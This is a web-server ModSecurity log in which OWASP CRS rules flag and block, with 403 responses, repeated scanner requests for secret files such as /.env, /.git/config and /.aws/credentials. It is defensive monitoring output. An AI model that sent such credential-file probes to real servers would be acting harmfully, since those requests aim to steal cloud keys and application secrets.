[Sun Jun 08 02:26:55.881384 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/myproject/.env"] [unique_id "aETYz4g00oSaH7TbaqerBAAAAAY"]
[Sun Jun 08 02:26:55.881596 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/myproject/.env"] [unique_id "aETYz4g00oSaH7TbaqerBAAAAAY"]
[Sun Jun 08 02:26:55.881794 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/myproject/.env"] [unique_id "aETYz4g00oSaH7TbaqerBAAAAAY"]
[Sun Jun 08 02:26:57.026653 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs/.production/.django"] [unique_id "aETY0Yg00oSaH7TbaqerBQAAAAY"]
[Sun Jun 08 02:26:57.026876 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs/.production/.django"] [unique_id "aETY0Yg00oSaH7TbaqerBQAAAAY"]
[Sun Jun 08 02:26:57.027063 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs/.production/.django"] [unique_id "aETY0Yg00oSaH7TbaqerBQAAAAY"]
[Sun Jun 08 02:26:58.089759 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env"] [unique_id "aETY0og00oSaH7TbaqerBgAAAAY"]
[Sun Jun 08 02:26:58.089969 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env"] [unique_id "aETY0og00oSaH7TbaqerBgAAAAY"]
[Sun Jun 08 02:26:58.090156 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env"] [unique_id "aETY0og00oSaH7TbaqerBgAAAAY"]
[Sun Jun 08 02:26:59.077198 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env.production"] [unique_id "aETY04g00oSaH7TbaqerBwAAAAY"]
[Sun Jun 08 02:26:59.077416 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env.production"] [unique_id "aETY04g00oSaH7TbaqerBwAAAAY"]
[Sun Jun 08 02:26:59.077613 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env.production"] [unique_id "aETY04g00oSaH7TbaqerBwAAAAY"]
[Sun Jun 08 02:34:32.461707 2025] [:error] [pid 3707673] [client 34.162.135.152:36374] [client 34.162.135.152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aETamNTnzseZCkzBlqYO5gAAAAM"]
[Sun Jun 08 02:34:32.462051 2025] [:error] [pid 3707673] [client 34.162.135.152:36374] [client 34.162.135.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aETamNTnzseZCkzBlqYO5gAAAAM"]
[Sun Jun 08 02:34:32.462258 2025] [:error] [pid 3707673] [client 34.162.135.152:36374] [client 34.162.135.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aETamNTnzseZCkzBlqYO5gAAAAM"]
[Sun Jun 08 02:34:32.571624 2025] [:error] [pid 3707673] [client 34.162.135.152:36374] [client 34.162.135.152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aETamNTnzseZCkzBlqYO5wAAAAM"]
[Sun Jun 08 02:34:32.571895 2025] [:error] [pid 3707673] [client 34.162.135.152:36374] [client 34.162.135.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aETamNTnzseZCkzBlqYO5wAAAAM"]
[Sun Jun 08 02:34:32.572080 2025] [:error] [pid 3707673] [client 34.162.135.152:36374] [client 34.162.135.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aETamNTnzseZCkzBlqYO5wAAAAM"]
[Mon Jun 09 04:23:38.680186 2025] [:error] [pid 3731771] [client 13.39.163.23:47182] [client 13.39.163.23] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEZFqhoW_Y5M8wOccIJbtQAAAAI"]
[Mon Jun 09 04:23:38.680498 2025] [:error] [pid 3731771] [client 13.39.163.23:47182] [client 13.39.163.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEZFqhoW_Y5M8wOccIJbtQAAAAI"]
[Mon Jun 09 04:23:38.680657 2025] [:error] [pid 3731771] [client 13.39.163.23:47182] [client 13.39.163.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEZFqhoW_Y5M8wOccIJbtQAAAAI"]
[Thu Jun 12 16:52:24.176362 2025] [:error] [pid 3807652] [client 185.177.72.210:40882] [client 185.177.72.210] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aErpqFeo3O6PWDAqcdL9gAAAAA8"]
[Thu Jun 12 16:52:24.177601 2025] [:error] [pid 3807652] [client 185.177.72.210:40882] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aErpqFeo3O6PWDAqcdL9gAAAAA8"]
[Thu Jun 12 16:52:24.177854 2025] [:error] [pid 3807652] [client 185.177.72.210:40882] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aErpqFeo3O6PWDAqcdL9gAAAAA8"]
[Fri Jun 13 01:09:28.312106 2025] [:error] [pid 3818568] [client 45.148.10.98:37374] [client 45.148.10.98] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEteKPr0iJhQ_YaOeNAM_QAAAAk"]
[Fri Jun 13 01:09:28.312623 2025] [:error] [pid 3818568] [client 45.148.10.98:37374] [client 45.148.10.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEteKPr0iJhQ_YaOeNAM_QAAAAk"]
[Fri Jun 13 01:09:28.312886 2025] [:error] [pid 3818568] [client 45.148.10.98:37374] [client 45.148.10.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEteKPr0iJhQ_YaOeNAM_QAAAAk"]
[Sat Jun 14 17:49:40.839339 2025] [:error] [pid 3842837] [client 185.177.72.144:58502] [client 185.177.72.144] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aE2aFMBQY1VitCWB9Qcf9QAAAAY"]
[Sat Jun 14 17:49:40.840922 2025] [:error] [pid 3842837] [client 185.177.72.144:58502] [client 185.177.72.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aE2aFMBQY1VitCWB9Qcf9QAAAAY"]
[Sat Jun 14 17:49:40.841127 2025] [:error] [pid 3842837] [client 185.177.72.144:58502] [client 185.177.72.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aE2aFMBQY1VitCWB9Qcf9QAAAAY"]
[Sun Jun 22 03:59:19.488297 2025] [:error] [pid 4017552] [client 3.145.101.77:48090] [client 3.145.101.77] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aFdjd7wtQt1boRgV93AHZAAAAAQ"]
[Sun Jun 22 03:59:19.489199 2025] [:error] [pid 4017552] [client 3.145.101.77:48090] [client 3.145.101.77] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aFdjd7wtQt1boRgV93AHZAAAAAQ"]
[Sun Jun 22 03:59:19.489746 2025] [:error] [pid 4017552] [client 3.145.101.77:48090] [client 3.145.101.77] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aFdjd7wtQt1boRgV93AHZAAAAAQ"]
[Mon Jun 23 16:34:40.169024 2025] [:error] [pid 4051152] [client 93.123.109.81:53424] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aFlmALuXN06zm3FTTbzSqQAAABg"]
[Mon Jun 23 16:34:40.169366 2025] [:error] [pid 4051152] [client 93.123.109.81:53424] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aFlmALuXN06zm3FTTbzSqQAAABg"]
[Mon Jun 23 16:34:40.169563 2025] [:error] [pid 4051152] [client 93.123.109.81:53424] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aFlmALuXN06zm3FTTbzSqQAAABg"]
[Mon Jun 23 16:34:40.282713 2025] [:error] [pid 4049926] [client 93.123.109.81:53436] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aFlmAB9SytOirlbMnTXKbgAAAAU"]
[Mon Jun 23 16:34:40.282999 2025] [:error] [pid 4049926] [client 93.123.109.81:53436] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aFlmAB9SytOirlbMnTXKbgAAAAU"]
[Mon Jun 23 16:34:40.283168 2025] [:error] [pid 4049926] [client 93.123.109.81:53436] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aFlmAB9SytOirlbMnTXKbgAAAAU"]
[Mon Jun 23 16:34:40.389535 2025] [:error] [pid 4043406] [client 93.123.109.81:53440] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aFlmAF_pdyUlvIFiq-vdVQAAAAo"]
